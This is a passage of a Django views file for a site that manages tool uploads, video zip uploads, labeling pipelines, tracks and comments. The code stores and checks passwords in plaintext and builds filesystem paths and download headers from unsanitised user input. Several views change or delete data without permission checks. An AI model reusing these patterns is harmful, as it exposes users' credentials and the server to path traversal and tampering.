not already exist\ndef createNewUser(request):\n username = request.POST['username']\n emailString = request.POST['email']\n passw = request.POST['pwd']\n try:\n userObj = User.objects.get(user_name=username)\n request.session['userexists'] = 'yes'\n return redirect('/basicsite/login/')\n except:\n userObj = User(user_name=username,password=passw,rights='user',email=emailString)\n userObj.save()\n request.session['userexists'] = 'no'\n request.session['user'] = userObj.user_name\n return redirect('/basicsite/home/')\n\n# Attempts a login with the given credentials\ndef logWithUser(request):\n username = request.POST['username']\n passw = request.POST['pwd']\n try:\n userObj = User.objects.get(user_name=username,password=passw)\n request.session['user'] = userObj.user_name\n request.session['userexists'] = 'oklogin'\n return redirect('/basicsite/home/')\n except:\n request.session['userexists'] = 'incorrectlogin'\n return redirect('/basicsite/login/')\n \n \n# Defines the Login Form data for validation\nclass LoginForm(forms.Form):\n username = forms.CharField(max_length=100)\n password = forms.CharField()\n \n# Load all tools, descending by version number, then display tools page\ndef loadToolsPage(request):\n alltools = ToolFile.objects.order_by('-versionnumber')\n request.session['currenttoolpage'] = '/basicsite/tools/'\n return render(request, TOOLPAGETEMPLATE, {'alltools':alltools})\n\n# Loads the upload tool page\ndef loadUploadToolPage(request):\n families = ToolFamily.objects.all()\n form = UploadFileForm(families)\n return render(request, UPLOADTOOLPAGETEMPLATE, {'form':form, 'families':families})\n\n# Handles the upload request, then redirects to the tools page\ndef uploadTool(request):\n # Handle file upload\n if request.method == 'POST':\n form = UploadFileForm(request.POST, request.FILES)\n uploaddate=timezone.now()\n originalfilename = str(request.FILES['fileform'])\n originalfilename.replace(\"tools/\", \"\");\n if request.POST['newfamily'] != '':\n familyname = request.POST['newfamily']\n try:\n # test to see if already exists\n specificfamily = ToolFamily.objects.get(toolfamilyname=familyname)\n except ToolFamily.DoesNotExist:\n # does not exist, create new family\n pub_date=timezone.now()\n specificfamily = ToolFamily(toolfamilyname=familyname, datecreated=pub_date, description=request.POST['familydescription'], category=request.POST['purposes'])\n specificfamily.save()\n else:\n specificfamily = ToolFamily.objects.get(id=request.POST['family'])\n newToolFileObject = ToolFile(\n tf = request.FILES['fileform'],\n versionlog = request.FILES['versionform'],\n tooltitle = request.POST['title'],\n toolfilename = originalfilename,\n uploaded = uploaddate,\n description = request.POST['description'],\n purpose = request.POST['purposes'],\n versionnumber = request.POST['versionnumber'],\n family = specificfamily\n )\n newToolFileObject.save()\n else:\n form = DocumentForm()\n return redirect('/basicsite/tools/')\n \n# Defines the form for the upload tool page\nclass UploadFileForm(forms.Form):\n title = forms.CharField(max_length=50)\n fileform = forms.FileField(label='Tool File:')\n versionform = forms.FileField(label='Version Log:')\n description = forms.CharField( widget=forms.Textarea(attrs={'cols': 40, 'rows': 5}) )\n purposes = forms.ChoiceField(widget=forms.RadioSelect, choices=(('1', 'Collection',), ('2', 'Check-Processing',), ('3', 'Labeling',)))\n versionnumber = forms.FloatField(widget=forms.NumberInput)\n family = forms.ChoiceField(widget=forms.RadioSelect)\n familydescription = forms.ChoiceField( widget=forms.Textarea(attrs={'cols': 40, 'rows': 2}))\n newfamily = forms.CharField(max_length=50)\n \n def __init__(self, families, *args, **kwargs):\n super(UploadFileForm, self).__init__(*args, **kwargs)\n self.fields['family'] = forms.ChoiceField(choices=[ (o.id, o.toolfamilyname) for o in ToolFamily.objects.all()])\n\n# Handles a download request on the tool pages\n# This function creates an HTTPResponse with an attachment property set in the header fields so that the client browser knows its a download.\ndef downloadTool(request, toolfileid):\n conv = int(toolfileid)\n toolfile = ToolFile.objects.get(id=conv)\n response = HttpResponse(toolfile.tf, content_type='application/zip')\n response['Content-Disposition'] = 'attachment; filename=' + toolfile.toolfilename\n return response\n\n# Loads page with just the tools for the Collection category\ndef loadCollectionToolsPage(request):\n request.session['currenttoolpage'] = '/basicsite/toolcategories/collection/'\n tools = ToolFile.objects.order_by('-versionnumber')\n try:\n families = ToolFamily.objects.all()\n containsArr = []\n relatedtools = []\n for family in families:\n ranhere='yes'\n if family.category == '1':\n for tool in tools:\n toolfamid = tool.family_id \n famid = family.id\n if tool.family_id == family.id:\n if not tool.family_id in containsArr:\n relatedtools.append(tool)\n containsArr.append(tool.family_id)\n except:\n relatedtools = [] \n alltools = []\n for tool in tools:\n if tool.purpose=='1':\n alltools.append(tool)\n return render_to_response(SPECIFICTOOLPAGETEMPLATE, { 'alltools' : alltools, 'pagetitle' : 'Collection Tools', 'relatedtools':relatedtools}, context_instance=RequestContext(request))\n\n# Loads page with just the tools for the Checking/Processing category\ndef loadCheckingProcessingToolsPage(request):\n request.session['currenttoolpage'] = '/basicsite/toolcategories/checkprocess/'\n tools = ToolFile.objects.order_by('-versionnumber')\n try:\n families = ToolFamily.objects.all()\n containsArr = []\n relatedtools = []\n for family in families:\n ranhere='yes'\n if family.category == '2':\n for tool in tools:\n toolfamid = tool.family_id \n famid = family.id\n if tool.family_id == family.id:\n if not tool.family_id in containsArr:\n relatedtools.append(tool)\n containsArr.append(tool.family_id)\n except:\n relatedtools = [] \n alltools = []\n for tool in tools:\n if tool.purpose=='2':\n alltools.append(tool)\n return render_to_response(SPECIFICTOOLPAGETEMPLATE, { 'alltools' : alltools, 'pagetitle' : 'Checking & Processing Tools', 'relatedtools':relatedtools}, context_instance=RequestContext(request))\n\n# Loads page with just the tools for the Labeling category\ndef loadLabelingToolsPage(request):\n request.session['currenttoolpage'] = '/basicsite/toolcategories/labeling/'\n tools = ToolFile.objects.order_by('-versionnumber')\n try:\n families = ToolFamily.objects.all()\n containsArr = []\n relatedtools = []\n for family in families:\n ranhere='yes'\n if family.category == '3':\n for tool in tools:\n toolfamid = tool.family_id \n famid = family.id\n if tool.family_id == family.id:\n if not tool.family_id in containsArr:\n relatedtools.append(tool)\n containsArr.append(tool.family_id)\n except:\n relatedtools = [] \n alltools = []\n for tool in tools:\n if tool.purpose=='3':\n alltools.append(tool)\n return render_to_response(SPECIFICTOOLPAGETEMPLATE, { 'alltools' : alltools, 'pagetitle' : 'Labeling Tools', 'relatedtools':relatedtools}, context_instance=RequestContext(request))\n\n# Form that contains all the fields necessary for a video upload, (does not contain the multiple file upload)\nclass UploadVideoForm(forms.Form):\n videotitle = forms.CharField(max_length=50)\n collection = forms.ChoiceField(widget=forms.RadioSelect)\n checkprocess = forms.MultipleChoiceField(widget=forms.CheckboxSelectMultiple())\n description = forms.CharField(widget=forms.Textarea(attrs={'cols': 40, 'rows': 5}))\n \n def __init__(self, *args, **kwargs):\n super(UploadVideoForm, self).__init__(*args, **kwargs)\n alltools = ToolFile.objects.order_by('-versionnumber')\n collectiontools = []\n checkprocesstools = []\n for tool in alltools:\n if tool.purpose == '1':\n collectiontools.append(tool)\n if tool.purpose == '2':\n checkprocesstools.append(tool)\n self.fields['collection'] = forms.ChoiceField(widget=forms.RadioSelect, choices=[ (o.id, o.tooltitle + ' -> v' + str(o.versionnumber) ) for o in collectiontools])\n self.fields['checkprocess'] = forms.MultipleChoiceField(widget=forms.CheckboxSelectMultiple(), choices=[ (o.id, o.tooltitle + ' -> v' + str(o.versionnumber) ) for o in checkprocesstools])\n \n# Returns the video event upload page\ndef showUploadVideoPage(request):\n uploadform = UploadVideoForm()\n return render_to_response(UPLOADVIDEOPAGETEMPLATE, { 'uploadform':uploadform }, context_instance=RequestContext(request))\n \n# Receives the form post from the video upload page. Creates the video event, writes the uploaded files, then creates a zip containing all the video files\ndef uploadVideos(request):\n fileList = request.FILES.getlist('files')\n uploadeventtitle = request.POST['videotitle']\n pathtouploadeventfolder = CURRENTLOCATION + '/videos/' + uploadeventtitle\n os.mkdir(pathtouploadeventfolder)\n userObj = User.objects.get(user_name=request.session['user'])\n eventObj = Event(name=uploadeventtitle, description=request.POST['description'],event_date=timezone.now(), uploader_id=userObj.id)\n eventObj.save()\n for file in fileList:\n videoname = request.POST['videotitle']\n withproperpath = pathtouploadeventfolder + '/' + file.name\n fd = open(withproperpath, 'wb+') # or 'wb+' for binary file\n for chunk in file.chunks():\n fd.write(chunk)\n fd.close()\n selectedcheckprocesslist = ''\n for toolid in request.POST.getlist('checkprocess'):\n selectedcheckprocesslist = str(toolid) + ',' + selectedcheckprocesslist\n selectedcollect = ToolFile.objects.get(id=request.POST['collection'])\n cleanedvideoname = file.name.replace('.zip', '')\n videoObj = Video(video_number=int(cleanedvideoname), uploaded_date=timezone.now(), collectiontool=selectedcollect, checkprocesstool = selectedcheckprocesslist, event=eventObj)\n videoObj.save()\n allvideos = Video.objects.all()\n filenames = []\n pathtouploadeventfolder = CURRENTLOCATION + '/videos/' + eventObj.name\n for video in allvideos:\n if video.event_id == eventObj.id:\n withproperpath = pathtouploadeventfolder + '/' + str(video.video_number) + '.zip'\n filenames.append(withproperpath)\n zip_filename = pathtouploadeventfolder + '/' + eventObj.name + '.zip'\n zf = zipfile.ZipFile(zip_filename, 'w')\n for fpath in filenames:\n fdir, fname = os.path.split(fpath)\n zip_path = os.path.join(eventObj.name, fname)\n zf.write(fpath, zip_path)\n zf.close()\n return redirect('/basicsite/uploadvideo/')\n \n# Loads and returns tool family page based on what family id is passed in the url\ndef loadToolFamilyPage(request, familyid):\n conv_id = int(familyid)\n everytool = ToolFile.objects.order_by('-versionnumber')\n alltools = []\n for tool in everytool:\n if tool.family_id == conv_id:\n toolfamily = ToolFamily.objects.get(id=conv_id)\n familyname = toolfamily.toolfamilyname\n alltools.append(tool)\n return render_to_response(SPECIFICFAMILYPAGETEMPLATE, {'alltools':alltools, 'familyname':familyname}, context_instance=RequestContext(request))\n\n# Deletes tool object from database\ndef deleteTool(request, toolid):\n tool = ToolFile.objects.get(id=toolid)\n tool.delete() \n alltools = ToolFile.objects.order_by('-versionnumber')\n return redirect(request.session['currenttoolpage'])\n\n# Delete tool objects from filesystem when the corresponding object in the database is removed\n@receiver(models.signals.post_delete, sender=ToolFile)\ndef auto_delete_file_on_delete(sender, instance, **kwargs):\n if instance.tf:\n if os.path.isfile(instance.tf.path):\n os.remove(instance.tf.path)\n \n# Loads and returns a page displaying the version log for the latest tool in the family identified by the number passed in the url\ndef viewFamilyVersionLog(request, familyid):\n conv_id = int(familyid)\n everytool = ToolFile.objects.order_by('-versionnumber')\n latestTool = ToolFile()\n foundlatest = 'no'\n versionlog = ''\n for tool in everytool:\n if foundlatest == 'no':\n if tool.family_id == conv_id:\n foundlatest = 'yes'\n latestTool = tool\n versionlogfilename = latestTool.versionlog\n versionlog = versionlogfilename.file.read()\n return render_to_response(VIEWVERSIONLOGPAGETEMPLATE, {'latestTool':latestTool, 'versionlog':versionlog}, context_instance=RequestContext(request))\n \n# Loads and a returns a page of every event and corresponding list of videos\ndef showAllVideos(request):\n allvideos = Video.objects.all()\n allevents = Event.objects.order_by(\"-event_date\")\n finalListMajor = []\n for event in allevents:\n finalListMinor = []\n for video in allvideos:\n if video.event_id == event.id:\n sorted = video.checkprocesstool.split(\",\")\n checkprocessminor = []\n intermediary = []\n for toolid in sorted:\n if toolid != '':\n tool = ToolFile.objects.get(id=toolid)\n checkprocessminor.append(tool)\n intermediary.append(video)\n intermediary.append(checkprocessminor)\n finalListMinor.append(intermediary)\n intermediarymajor = []\n intermediarymajor.append(event)\n intermediarymajor.append(finalListMinor)\n finalListMajor.append(intermediarymajor)\n now = timezone.now()\n return render_to_response(VIDEOSPAGETEMPLATE, {'allvideos':allvideos, 'finalListMajor':finalListMajor,'now':now}, context_instance=RequestContext(request))\n\n# Loads a page that displays all video events in order of upload date descending\ndef showAllEvents(request):\n allevents = Event.objects.order_by('-event_date')\n return render_to_response(VIDEOFILTERPAGETEMPLATE, {'allevents':allevents}, context_instance=RequestContext(request))\n \n# Returns a http response that lets the user download a single video\ndef downloadVideo(request, videonumber, event_id):\n video = Video.objects.get(video_number=videonumber,event_id=event_id)\n event = Event.objects.get(id=video.event_id)\n pathtovideo = CURRENTLOCATION + '/videos/' + event.name + '/' + str(video.video_number) + '.zip'\n video_handle = open(pathtovideo, 'rb')\n response = HttpResponse(video_handle, content_type='application/zip')\n response['Content-Disposition'] = 'attachment; filename=' + str(video.video_number)\n return response\n \n# Returns an http response that lets the user download all the videos in an event\ndef downloadEvent(request, event_id):\n allvideos = Video.objects.all()\n event_id = int(event_id)\n eventObj = Event.objects.get(id=event_id)\n pathtouploadeventfolder = CURRENTLOCATION + 'videos/' + eventObj.name\n zip_filename = pathtouploadeventfolder + '/' + eventObj.name + '.zip'\n event_handle = open(zip_filename, 'rb')\n response = HttpResponse(event_handle, content_type='application/zip')\n response['Content-Disposition'] = 'attachment; filename=' + eventObj.name + '.zip'\n return response\n\n# Adds a single video to a specific event\ndef addVideoToEventPage(request, event_id):\n event_id = int(event_id)\n eventObj = Event.objects.get(id=event_id)\n form = AddToEventForm()\n return render_to_response(ADDTOEVENTPAGETEMPLATE, {'form':form, 'event':eventObj}, context_instance=RequestContext(request))\n\n# Form that contains tool fields for adding a video to event. Multiple file input handled separately.\nclass AddToEventForm(forms.Form):\n collection = forms.ChoiceField(widget=forms.RadioSelect)\n checkprocess = forms.MultipleChoiceField(widget=forms.CheckboxSelectMultiple())\n \n def __init__(self, *args, **kwargs):\n super(AddToEventForm, self).__init__(*args, **kwargs)\n alltools = ToolFile.objects.order_by('-versionnumber')\n collectiontools = []\n checkprocesstools = []\n for tool in alltools:\n if tool.purpose == '1':\n collectiontools.append(tool)\n if tool.purpose == '2':\n checkprocesstools.append(tool)\n self.fields['collection'] = forms.ChoiceField(widget=forms.RadioSelect, choices=[ (o.id, o.tooltitle + ' -> v' + str(o.versionnumber) ) for o in collectiontools])\n self.fields['checkprocess'] = forms.MultipleChoiceField(widget=forms.CheckboxSelectMultiple(), choices=[ (o.id, o.tooltitle + ' -> v' + str(o.versionnumber) ) for o in checkprocesstools])\n \n# Receives the single video add to\ndef uploadAddToVideo(request, event_id):\n event_id = int(event_id)\n fileList = request.FILES.getlist('files')\n #userObj = User.objects.get(user_name=request.session['user'])\n eventObj = Event.objects.get(id=event_id)\n pathtouploadeventfolder = CURRENTLOCATION + 'videos/' + eventObj.name\n for file in fileList:\n withproperpath = pathtouploadeventfolder + '/' + file.name\n fd = open(withproperpath, 'wb+')\n for chunk in file.chunks():\n fd.write(chunk)\n fd.close()\n selectedcheckprocesslist = ''\n for toolid in request.POST.getlist('checkprocess'):\n selectedcheckprocesslist = str(toolid) + ',' + selectedcheckprocesslist\n selectedcollect = ToolFile.objects.get(id=request.POST['collection'])\n cleanedvideoname = file.name.replace('.zip', '')\n v = Video(video_number=int(cleanedvideoname), uploaded_date=timezone.now(), collectiontool=selectedcollect, checkprocesstool = selectedcheckprocesslist, event=eventObj)\n v.save()\n allvideos = Video.objects.all()\n filenames = []\n pathtouploadeventfolder = CURRENTLOCATION + '/videos/' + eventObj.name\n for video in allvideos:\n if video.event_id == eventObj.id:\n withproperpath = pathtouploadeventfolder + '/' + str(video.video_number) + '.zip'\n filenames.append(withproperpath)\n zip_filename = pathtouploadeventfolder + '/' + eventObj.name + '.zip'\n os.remove(zip_filename)\n zf = zipfile.ZipFile(zip_filename, 'w')\n for fpath in filenames:\n fdir, fname = os.path.split(fpath)\n zip_path = os.path.join(eventObj.name, fname)\n zf.write(fpath, zip_path)\n zf.close()\n return redirect('/basicsite/videos/')\n \n# Loads all the videos associated with a specific event\ndef showSpecificEvent(request, event_id):\n event_id = int(event_id)\n eventObj = Event.objects.get(id=event_id)\n allvideos = Video.objects.all()\n eventvideos = []\n for video in allvideos:\n if video.event_id == eventObj.id:\n sorted = video.checkprocesstool.split(\",\")\n checkprocessminor = []\n intermediary = []\n for toolid in sorted:\n if toolid != '':\n tool = ToolFile.objects.get(id=toolid)\n checkprocessminor.append(tool)\n intermediary.append(video)\n intermediary.append(checkprocessminor)\n eventvideos.append(intermediary)\n now = timezone.now()\n return render_to_response(SPECIFICEVENTPAGETEMPLATE, {'event':eventObj, 'eventvideos':eventvideos,'now':now}, context_instance=RequestContext(request))\n\n# Home page\ndef showHomePage(request):\n userCookie = request.session['user']\n userObj = User.objects.get(user_name=userCookie)\n request.session['messageboard'] = 'closed'\n return render_to_response(HOMEPAGETEMPLATE, {'user':userObj}, context_instance=RequestContext(request))\n \n# Returns a page with a list of all the pipelines created\ndef showAllPipelines(request):\n allpipelines = Pipeline.objects.all()\n now = timezone.now()\n request.session['messageboard'] = 'closed'\n return render_to_response(ALLPIPELINESPAGETEMPLATE, {'allpipelines':allpipelines, 'now':now}, context_instance=RequestContext(request))\n \n# Loads the page to create a pipeline\ndef constructPipeline(request):\n form = ConstructPipelineForm()\n return render_to_response(CONSTRUCTPIPELINEPAGETEMPLATE, {'form':form}, context_instance=RequestContext(request))\n\n# Create pipeline form \nclass ConstructPipelineForm(forms.Form):\n title = forms.CharField(max_length=30)\n description = forms.CharField(widget=forms.Textarea(attrs={'cols': 40, 'rows': 5}))\n \n# Returns a page that contains four different ways to filter everything related to a pipeline\ndef showPipelineFilterPage(request):\n alltracks = Track.objects.all()\n statuslist = []\n for track in alltracks:\n if track.status not in statuslist:\n statuslist.append(track.status)\n allusers = User.objects.all()\n statusform = StatusForm()\n userform = UserForm()\n videoform = VideoForm()\n toolsform = ToolsForm()\n return render_to_response(PIPELINEFILTERPAGETEMPLATE, {'statuslist':statuslist,'statusform':statusform, 'allusers':allusers,'userform':userform,'videoform':videoform,'toolsform':toolsform}, context_instance=RequestContext(request))\n \n# Form to filter through tasks by status\nclass StatusForm(forms.Form):\n statusfield = forms.CharField(max_length=30)\n \n# Form to search for everything related to a user\nclass UserForm(forms.Form):\n userfield = forms.CharField(max_length=30)\n\n# Form used to search for a video (needed: search for tasks related to video)\nclass VideoForm(forms.Form):\n videofield = forms.CharField(max_length=30)\n \n# Form used to search all pipelines that use a certain tool\nclass ToolsForm(forms.Form):\n tools = forms.ChoiceField(widget=forms.RadioSelect)\n \n def __init__(self, *args, **kwargs):\n super(ToolsForm, self).__init__(*args, **kwargs)\n alltools = ToolFile.objects.order_by('-versionnumber')\n self.fields['tools'] = forms.ChoiceField(widget=forms.RadioSelect, choices=[ (o.id, o.tooltitle + ' -> v' + str(o.versionnumber) ) for o in alltools])\n\n# Searches for a returns all tasks that are of a status\ndef searchByStatus(request):\n allpipelines = Pipeline.objects.all()\n status2search = request.POST['statusfield']\n alltracks = Track.objects.all()\n trackswithstatus = []\n for pipeline in allpipelines:\n for track in alltracks:\n if track.pipeline_identifier.id == pipeline.id:\n if track.status in status2search:\n trackswithstatus.append(track)\n finalListMajor = []\n for track in trackswithstatus:\n intermediary = []\n intermediary.append(track)\n videoObj = Video.objects.get(id=track.video_identifier_id)\n intermediary.append(videoObj)\n sorted = videoObj.checkprocesstool.split(\",\")\n checkprocessminor = []\n for toolid in sorted:\n if toolid != '':\n tool = ToolFile.objects.get(id=toolid)\n checkprocessminor.append(tool)\n intermediary.append(checkprocessminor)\n finalListMajor.append(intermediary)\n now = timezone.now()\n return render_to_response(SEARCHSTATUSPAGETEMPLATE, {'trackswithstatus':trackswithstatus,'status2search':status2search,'finalListMajor':finalListMajor,'now':now}, context_instance=RequestContext(request))\n\n# Searches and returns everything that is related to a user\ndef searchByUser(request):\n allroster = PipelineRoster.objects.all()\n try:\n userObj = User.objects.get(user_name=request.POST['userfield'])\n message = 'found'\n except:\n message = 'could not find this particular'\n if message != 'could not find this particular':\n resultingPipelines = []\n for person in allroster:\n tempPipelines = []\n if person.user_identifier.id == userObj.id:\n pipelineObj = Pipeline.objects.get(id=person.pipeline_identifier.id)\n resultingPipelines.append(pipelineObj)\n assignedPipelines = []\n for aPipeline in reversed(resultingPipelines):\n assignedPipelines.append(aPipeline)\n allevents = Event.objects.order_by('-event_date')\n userevents = []\n for event in allevents:\n if event.uploader.id == userObj.id:\n userevents.append(event)\n allTrackFileEvents = TrackFileEvent.objects.order_by('-uploaded_date')\n userfevents = []\n for filevent in allTrackFileEvents:\n if filevent.uploader.id == userObj.id:\n userfevents.append(filevent)\n alltrackfiles = TrackFiles.objects.all()\n relatedMajor = []\n for trackfilevent in userfevents:\n trackfiles = []\n for trackfile in alltrackfiles:\n if trackfile.trackfilevent.id == trackfilevent.id:\n trackfiles.append(trackfile)\n minor = []\n minor.append(trackfilevent)\n minor.append(trackfiles)\n relatedMajor.append(minor)\n now = timezone.now()\n return render_to_response(SEARCHUSERPAGETEMPLATE, {'assignedPipelines':assignedPipelines,'userevents':userevents,'user':userObj,'now':now,'relatedMajor':relatedMajor}, context_instance=RequestContext(request))\n\n# Searches for and returns the found video\ndef searchForVideo(request):\n allvideos = Video.objects.all()\n vnum = request.POST['videofield']\n foundvideo = Video()\n for video in allvideos:\n if video.video_number == int(vnum):\n foundvideo = video\n sorted = foundvideo.checkprocesstool.split(\",\")\n checkprocessminor = []\n for toolid in sorted:\n if toolid != '':\n tool = ToolFile.objects.get(id=toolid)\n checkprocessminor.append(tool)\n break\n eventObj = Event.objects.get(id=foundvideo.event.id)\n now = timezone.now()\n return render_to_response(SEARCHVIDEOPAGETEMPLATE, {'video':foundvideo,'event':eventObj,'checkprocessminor':checkprocessminor,'now':now}, context_instance=RequestContext(request))\n\n# Searches for the pipelines and videos that are tied to this tool\ndef searchByTool(request):\n selectedTool = request.POST['tools']\n tool = ToolFile.objects.get(id=int(selectedTool))\n allvideos = Video.objects.order_by('-uploaded_date')\n videosWithTool = []\n for video in allvideos:\n if video.collectiontool.id == tool.id:\n videosWithTool.append(video)\n if selectedTool in video.checkprocesstool:\n videosWithTool.append(video)\n formattedList = []\n for video in videosWithTool:\n sorted = video.checkprocesstool.split(\",\")\n checkprocessminor = []\n intermediary = []\n for toolid in sorted:\n if toolid != '':\n tool = ToolFile.objects.get(id=toolid)\n checkprocessminor.append(tool)\n intermediary.append(video)\n intermediary.append(checkprocessminor)\n formattedList.append(intermediary)\n allptools= PipelineTools.objects.all()\n matchedtools = []\n for pipelinetool in allptools:\n if pipelinetool.tool_id == tool.id:\n matchedtools.append(pipelinetool)\n relatedpipes = []\n for mt in matchedtools:\n pipelineObj = Pipeline.objects.get(id=mt.pipeline_id)\n relatedpipes.append(pipelineObj)\n now = timezone.now()\n return render_to_response(SEARCHTOOLPAGETEMPLATE, {'now':now,'formattedList':formattedList,'relatedpipes':relatedpipes}, context_instance=RequestContext(request))\n \n# Returns a list of pipelines the user created and a list that the user is assigned to\ndef showMyPipelines(request):\n currentuser = request.session['user']\n userObj = User.objects.get(user_name=currentuser)\n allroster = PipelineRoster.objects.all()\n finalList = []\n for person in allroster:\n intermediary = []\n if person.user_identifier.id == userObj.id:\n intermediary.append(person)\n pipelineObj = Pipeline.objects.get(id=person.pipeline_identifier.id)\n intermediary.append(pipelineObj)\n finalList.append(intermediary)\n allpipelines = Pipeline.objects.all()\n yourcreatedpipes=[]\n for pipe in allpipelines:\n if pipe.creator.id == userObj.id:\n yourcreatedpipes.append(pipe)\n now = timezone.now()\n request.session['messageboard'] = 'closed'\n return render_to_response(MYPIPELINESPAGETEMPLATE, {'finalList':finalList,'now':now,'yourcreatedpipes':yourcreatedpipes}, context_instance=RequestContext(request))\n \n# Creates a new pipeline\ndef submitPipeline(request):\n title = request.POST['title']\n descript = request.POST['description']\n now = timezone.now()\n userObj = User.objects.get(user_name=request.session['user'])\n pipelineObj = Pipeline(pipeline_title=title, description=descript, started_date=timezone.now(),target_date=now,creator=userObj)\n pipelineObj.save()\n request.session['messageboard'] = 'closed'\n return redirect('/basicsite/specificpipeline/' + str(pipelineObj.id) +'/')\n \n# Returns a pipeline's specific page\ndef showSpecificPipeline(request, pipeline_id):\n pipeline_id = int(pipeline_id)\n pipelineObj = Pipeline.objects.get(id=pipeline_id)\n now = timezone.now()\n request.session['currentpipeline']=pipeline_id\n alltracks = Track.objects.all()\n finalListMajor = []\n tracks = []\n videos = []\n for track in alltracks:\n intermediary = []\n if track.pipeline_identifier_id == pipeline_id:\n intermediary.append(track)\n videoObj = Video.objects.get(id=track.video_identifier_id)\n intermediary.append(videoObj)\n sorted = videoObj.checkprocesstool.split(\",\")\n checkprocessminor = []\n for toolid in sorted:\n if toolid != '':\n tool = ToolFile.objects.get(id=toolid)\n checkprocessminor.append(tool)\n intermediary.append(checkprocessminor)\n finalListMajor.append(intermediary)\n allroster = PipelineRoster.objects.all()\n roster = []\n for person in allroster:\n if person.pipeline_identifier.id == pipelineObj.id:\n roster.append(person)\n allcomments = CommentPipeline.objects.all()\n comments = []\n for comment in allcomments:\n if comment.pipeline.id == pipelineObj.id:\n comments.append(comment)\n allpipelinetools = PipelineTools.objects.all()\n labelingtools = []\n for atool in allpipelinetools:\n if atool.pipeline.id == pipelineObj.id:\n labelingtools.append(atool)\n replybox = ReplyBox()\n pipelineObj_id = int(pipelineObj.id)\n form = AddToRosterForm(pipeline_id=pipelineObj_id)\n pipelinetoolsform = PipelineToolsForm(pipeline_id=pipelineObj_id)\n messageboard = request.session['messageboard']\n return render_to_response(SPECIFICPIPELINEPAGETEMPLATE, {'pipeline':pipelineObj,'now':now,'tracks':tracks,'finalListMajor':finalListMajor,'roster':roster,'form':form,'comments':comments,'replybox':replybox,'messageboard':messageboard,'labelingtools':labelingtools,'pipelinetoolsform':pipelinetoolsform}, context_instance=RequestContext(request))\n \n# Form to allow users to indicate another tool for use in a pipeline\nclass PipelineToolsForm(forms.Form):\n tools = forms.ChoiceField(widget=forms.RadioSelect)\n \n def __init__(self, *args, **kwargs):\n self.pipeline_id = kwargs.pop('pipeline_id')\n super(PipelineToolsForm, self).__init__(*args, **kwargs)\n alltools = ToolFile.objects.order_by('-versionnumber')\n allpipelinetools = PipelineTools.objects.all()\n unusedtools = []\n for atool in alltools:\n found = False\n for tool in allpipelinetools:\n if atool.purpose == '3':\n if atool.id == tool.tool.id:\n if tool.pipeline.id == int(self.pipeline_id):\n found = True\n if not found:\n if atool.purpose == '3':\n unusedtools.append(atool)\n self.fields['tools'] = forms.ChoiceField(widget=forms.RadioSelect, choices=[ (o.id, o.tooltitle + ' -> v' + str(o.versionnumber) ) for o in unusedtools])\n \n# Adds a tool for use within that pipeline\ndef addToolToPipeline(request):\n selectedTool = request.POST['tools']\n intTool = int(selectedTool)\n toolFileObject = ToolFile.objects.get(id=intTool)\n currentpipeline = request.session['currentpipeline']\n currentpipeline = int(currentpipeline)\n pipelineObj = Pipeline.objects.get(id=currentpipeline)\n pipelineToolObj = PipelineTools(tool=toolFileObject, pipeline=pipelineObj)\n pipelineToolObj.save()\n return redirect('/basicsite/specificpipeline/' + str(pipelineObj.id) +'/')\n \n# Loads a page which allows a user to select multiple videos to add to a track\ndef showCreateTrackPage(request):\n pipeline_id = int(request.session['currentpipeline'])\n pipelineObj = Pipeline.objects.get(id=pipeline_id)\n now = timezone.now()\n allvideos = Video.objects.all()\n allevents = Event.objects.order_by(\"-event_date\")\n finalListMajor = []\n for event in allevents:\n finalListMinor = []\n for video in allvideos:\n if video.event_id == event.id:\n sorted = video.checkprocesstool.split(\",\")\n checkprocessminor = []\n intermediary = []\n for toolid in sorted:\n if toolid != '':\n tool = ToolFile.objects.get(id=toolid)\n checkprocessminor.append(tool)\n intermediary.append(video)\n intermediary.append(checkprocessminor)\n finalListMinor.append(intermediary)\n intermediarymajor = []\n intermediarymajor.append(event)\n intermediarymajor.append(finalListMinor)\n finalListMajor.append(intermediarymajor)\n return render_to_response(CREATETRACKPAGETEMPLATE, {'pipeline':pipelineObj,'now':now,'finalListMajor':finalListMajor}, context_instance=RequestContext(request))\n \n# Handles the list of selected tracks to add to pipeline\ndef createTrackResponse(request):\n pipeline_id = int(request.session['currentpipeline'])\n pipelineObj = Pipeline.objects.get(id=pipeline_id)\n now = timezone.now()\n stringlist = request.POST['selectedfields']\n list = stringlist.split(\",\")\n for video_id in list:\n videoObj = Video.objects.get(id=int(video_id))\n trackObj = Track(pipeline_identifier_id=pipelineObj.id,video_identifier_id=videoObj.id,status='created',started_date=now)\n trackObj.save()\n return redirect('/basicsite/specificpipeline/' + str(request.session['currentpipeline']) +'/')\n \n# General comment box for the message boards\nclass ReplyBox(forms.Form):\n commentbox = forms.CharField( widget=forms.Textarea(attrs={'cols': 90, 'rows': 5}) )\n \n# Loads the page for a specific track\ndef showSpecificTrack(request, track_id):\n request.session['currenttrack'] = track_id\n trackid = int(track_id)\n trackObj = Track.objects.get(id=trackid)\n video = Video.objects.get(id=trackObj.video_identifier_id)\n now=timezone.now()\n replybox = ReplyBox()\n allcomments = CommentTrack.objects.all()\n comments = []\n for comment in allcomments:\n if comment.track_id == trackid:\n comments.append(comment)\n uploadform = UploadRelatedFilesEventForm()\n alltrackfilevents = TrackFileEvent.objects.all()\n alltrackfiles = TrackFiles.objects.all()\n trackfilevents = []\n relatedMajor = []\n for trackfilevent in alltrackfilevents:\n if trackfilevent.track.id == trackid:\n trackfilevents.append(trackfilevent)\n trackfiles = []\n for trackfile in alltrackfiles:\n if trackfile.trackfilevent.id == trackfilevent.id:\n trackfiles.append(trackfile)\n minor = []\n minor.append(trackfilevent)\n minor.append(trackfiles)\n relatedMajor.append(minor)\n sorted = video.checkprocesstool.split(\",\")\n checkprocessminor = []\n for toolid in sorted:\n if toolid != '':\n tool = ToolFile.objects.get(id=toolid)\n checkprocessminor.append(tool)\n return render_to_response(SPECIFICTRACKPAGETEMPLATE, {'track':trackObj,'video':video,'now':now,'replybox':replybox,'comments':comments,'uploadform':uploadform,'relatedMajor':relatedMajor,'checkprocessminor':checkprocessminor}, context_instance=RequestContext(request))\n \n# Handles a comment post in a track page\ndef postTrackComment(request):\n commenttext = request.POST['commentbox']\n if commenttext != '':\n username = request.session['user']\n user = User.objects.get(user_name=username)\n now = timezone.now()\n trackid = int(request.session['currenttrack'])\n trackobject = Track.objects.get(id=trackid)\n comment = CommentTrack(text=commenttext,author=user,posted_date=now,track_id=trackobject.id)\n comment.save()\n return redirect(\"/basicsite/specifictrack/\" + request.session['currenttrack'] 